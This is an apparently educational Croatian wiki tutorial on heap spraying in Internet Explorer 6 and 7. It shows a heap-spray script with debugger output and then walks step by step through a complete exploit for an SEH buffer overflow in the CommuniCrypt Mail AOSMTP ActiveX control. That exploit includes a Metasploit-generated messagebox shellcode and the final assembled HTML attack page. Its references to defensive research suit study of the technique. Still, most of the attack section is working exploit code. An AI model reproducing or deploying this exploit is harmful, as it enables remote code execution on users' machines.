UserSize je veći u IE7 nego u IE6 pa će u rupe između dva dijela biti veće, ali je i cijeli blok veći pa to neće biti velik problem.

Ono što smo do sada probali napraviti je smanjiti prostor između dva bloka tako da kad budemo "skakali" na neku adresu u hrpi smanjimo rizik da "padnemo" između dva bloka. Što je manji prostor između manji je rizik. Što više prostora popunimo sa NOP-ima, te nađemo adresu koja uvijek ili skoro uvijek sadrži NOP-se, "skakanje" će biti puno pouzdanije.

--sacalopek 17:42, 20. siječnja 2013. (CET)


Često korištena skripta

<html>
   <script >
     var shellcode = unescape('%u4141%u4141');
     var bigblock = unescape('%u9090%u9090');
     var headersize = 20;
     var slackspace = headersize + shellcode.length;
     while (bigblock.length < slackspace) bigblock += bigblock;
     var fillblock = bigblock.substring(0,slackspace);
     var block = bigblock.substring(0,bigblock.length - slackspace);
     while (block.length + slackspace < 0x40000) block = block + block + fillblock;
     var memory = new Array();
     for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
   </script>
</html>

Skripta alocira veće blokove i radi to 500 puta. Pokrenemo na IE7 i vidimo:

0:009> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f5 - fa7c160  (99.01)
    3fff8 2 - 7fff0  (0.20)
    1fff8 4 - 7ffe0  (0.20)
    fff8 5 - 4ffd8  (0.12)
    7ff8 9 - 47fb8  (0.11)
    1ff8 1b - 35f28  (0.08)
    3ff8 a - 27fb0  (0.06)
    ff8 b - afa8  (0.02)
    8fc1 1 - 8fc1  (0.01)
    7ff0 1 - 7ff0  (0.01)
    7fe0 1 - 7fe0  (0.01)
    7db4 1 - 7db4  (0.01)
    614 13 - 737c  (0.01)
    7f8 e - 6f90  (0.01)
    57f0 1 - 57f0  (0.01)
    52ac 1 - 52ac  (0.01)
    5e4 b - 40cc  (0.01)
    20 200 - 4000  (0.01)
    3980 1 - 3980  (0.01)
    580 8 - 2c00  (0.00)
0:009> !heap -p -a 145e0018
    address 145e0018 found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        145e0018 fffc 0000  [0b]   145e0020    7ffe0 - (busy VirtualAlloc)
0:009> d 145e0018+7ffe0-40
1465ffb8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
1465ffc8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
1465ffd8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
1465ffe8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
1465fff8  41 41 41 41 00 00 00 00-00 00 00 00 00 00 00 00  AAAA............
14660008  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
14660018  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
14660028  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

I na IE6 i IE7 se skripta ponaša jednako. Više adrese su uvijek jednake. UserSize je uvijek isti. Ostatak je uvijek popunjen sa “...90 90 90...” tj. sa NOP-ima.

Sve ovo nas vodi na sljedeće pitanje, koja adresa je pouzdana i predvidljiva da je koristimo za “skakanje” ?

Adrese koje se obično provjere su:

U većini slučajeva ako ne i svima, 0×06060606 je dobra adresa ( pokazuje na NOP-se ).

Prikaz više adresa koje pokazuju na NOP.

Naravno može se koristiti bilo koja adresa, osim ovih napisanih, ako su dobre. Dodatno, pretraživač ili drugi program na kojem pokušavamo ovo može imati instalirane razne dodatke pa se oblik memorije mijenja što dovodi do toga da memorija bude više punija te više fragmentirana pa moramo uzimati više adrese. Naprimjer možemo uzeti i 0x0c0c0c0c koja je puno viša nego 0×06060606, ali se treba uzeti u obzir da je onda potrebno više iteracija procesora, više alokacija memorije što može usporiti rad pretraživača na neko vrijeme, a to je možda i nepotrebno kao u primjerima ovdje.

--sacalopek 17:54, 20. siječnja 2013. (CET)

Exploit

U svibnju 2010, je pronađen propust u CommuniCrypt Mail programu.

"The proof of concept exploit indicates that we can overwrite a SEH record by using an overly long argument to the AOSMTP.Mail AddAttachments
 method. We hit the record after 284 characters. Based on what you can see in the poc, apparently there is enough space on the stack to host
 the payload, and the application contains a non-safeseh module, so we could use a pointer to pop/pop/ret to jump to the payload."

"According to the fuzz report, we can control an entry in the SEH Chain, and we might have control over a saved return pointer as well, so
 we'll have 3 possible scenario’s to exploit this:
 * Use the saved return pointer to jump to our payload
 * Use an invalid pointer in the saved return pointer location to trigger an exception and take advantage of the overwritten SEH record to
 return to the payload
 * Don't care about the saved return pointer (value may be valid or not, doesn't matter), use the SEH record instead, and see if there is
 another way to trigger the exception (perhaps by increasing the buffer size and see if you can try to write past the end of the 
current thread stack."


<html>
   <!-- Load the AOSMTP Mail Object -->
   <object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target' ></object>
   <script >
      var shellcode = unescape('%u\4141%u\4141');
      var bigblock = unescape('%u\9090%u\9090');
      var headersize = 20;
      var slackspace = headersize + shellcode.length;
      while (bigblock.length < slackspace) bigblock += bigblock;
      var fillblock = bigblock.substring(0,slackspace);
      var block = bigblock.substring(0,bigblock.length - slackspace);
      while (block.length + slackspace < 0x40000) block = block + block + fillblock;
      var memory = new Array();
      for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
   </script>
</html>

Pokrenemo ovu skriptu i provjerimo na što pokazuje adresa 0x06060606 te ako je AOSMTP.dll učitam u proces. Na slici ispod se vidi da je sve oke:

Struktura koda koji dostavljamo će izgledati:


     // isto kao i kod skripte iznad
 
     junk1 = "";
     while(junk1.length < 272) junk1+="C";

     ret = "\xff\xff\xff\xff";
     junk2 = "BBBBBBBB";
     nseh = "AAAA";
     seh = "\x06\x06\x06\x06";

     payload = junk1 + ret + junk2 + nseh + seh;

     target.AddAttachments(payload);

   </script>
</html>

Kad pokrenemo tu skriptu onda pokrene exception jer se u Saved Ret ptr nalazi adresa koju ne možemo doseći te se skoči na adresu 0x06060606. Rezultat se vidi na slici ispod:

I sada je samo ostalo da umjesto nekog random koda ubacimo stvarni shellcode. Možemo ga generirati s msfpayload-om dostupnim ovdje.

[sasa@fedora ~]$ msfpayload windows/messagebox TEXT='Do something ...' TITLE=owned J
// windows/messagebox - 265 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, TITLE=owned, TEXT=Do 
// something ..., ICON=NO
%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%
u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%
uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3
%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68
%u206c%u6841%u3233%u642e%u7568%u6573%u8872%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff61%uffff
%u6468%u2058%u6820%u776f%u656e%udb31%u5c88%u0524%ue389%u5868%u2020%u6820%u2e20%u2e2e%u6868%u6e69%u6867%u6d6f%u7465%u4468
%u206f%u3173%u88c9%u244c%u8910%u31e1%u52d2%u5153%uff52%u31d0%u50c0%u55ff%u4108

Izlaz samo kopiramo te na kraju skripta izgleda:

<html>
   <!-- Load the AOSMTP Mail Object -->
   <object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target' ></object>
   <script >

      var shellcode = unescape('%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20
         %u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb
         %u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124
         %u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e
         %ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233
         %u642e%u7568%u6573%u8872%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff61%uffff
         %u6468%u2058%u6820%u776f%u656e%udb31%u5c88%u0524%ue389%u5868%u2020%u6820%u2e20%u2e2e%u6868%u6e69%u6867
         %u6d6f%u7465%u4468%u206f%u3173%u88c9%u244c%u8910%u31e1%u52d2%u5153%uff52%u31d0%u50c0%u55ff%u4108');

      var bigblock = unescape('%u9090%u9090');
      var headersize = 20;
      var slackspace = headersize + shellcode.length;
      while (bigblock.length < slackspace) bigblock += bigblock;
      var fillblock = bigblock.substring(0,slackspace);
      var block = bigblock.substring(0,bigblock.length - slackspace);
      while (block.length + slackspace < 0x40000) block = block + block + fillblock;
      var memory = new Array();
      for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
      junk1 = "";
      while(junk1.length < 272) junk1+="C";

      ret = "\xff\xff\xff\xff";
      junk2 = "BBBBBBBB";
      nseh = "AAAA";
      seh = "\x06\x06\x06\x06";

      payload = junk1 + ret + junk2 + nseh + seh;

      target.AddAttachments(payload);

   </script>
</html>

Kada se pokrene izgleda kao na slici ispod, da se pokrene neki program kao npr. kalkulator, notepad i sl., on bi ostao pokrenut jer MessageBox se zatvori sam po sebi, a pretraživač padne kao i sad.

--sacalopek 18:17, 20. siječnja 2013. (CET)

Literatura

1. BuBBle: A Javascript Engine Level Countermeasure against Heap-Spraying Attacks

2. Sotirov, A.: Heap feng shui in javascript (2007)

3. Corelan Team: Heap Spraying Demystified

4. Wikipedia: Stack

5. Wikipedia: Heap

6. Wikipedia: Heap spraying

7. HeapLocker - blog developera.

8. Nozzle: A Defense Against Heap-spraying Code Injection Attacks

9. Introducing EMET v3

Slike:

Neke preuzete s linka 3.

Slike HeapLockera preuzete s linka 7.

Kod je preuzet s linka 3.

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima